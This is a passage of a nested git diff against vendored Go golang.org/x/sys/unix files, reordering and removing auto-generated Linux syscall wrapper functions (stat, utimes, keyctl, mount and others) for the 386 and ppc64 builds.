-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -1978,13 +610,13 @@ func Time(t *Time_t) (tt Time_t, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func Utime(path string, buf *Utimbuf) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1993,8 +625,13 @@ func Lstat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2003,13 +640,13 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func Lstat(path string, stat *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2018,13 +655,23 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Utime(path string, buf *Utimbuf) (err error) {
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2033,15 +680,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+ _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2060,8 +705,10 @@ func Pause() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe() (p1 int, p2 int, err error) {
-+ r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ p1 = int(r0)
-+ p2 = int(r1)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64.go
-index 204ab1ae..de022639 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,ppc64 syscall_linux.go syscall_linux_ppc64x.go
-+// go run mksyscall.go -tags linux,ppc64 syscall_linux.go syscall_linux_ppc64x.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,ppc64
-@@ -14,1270 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
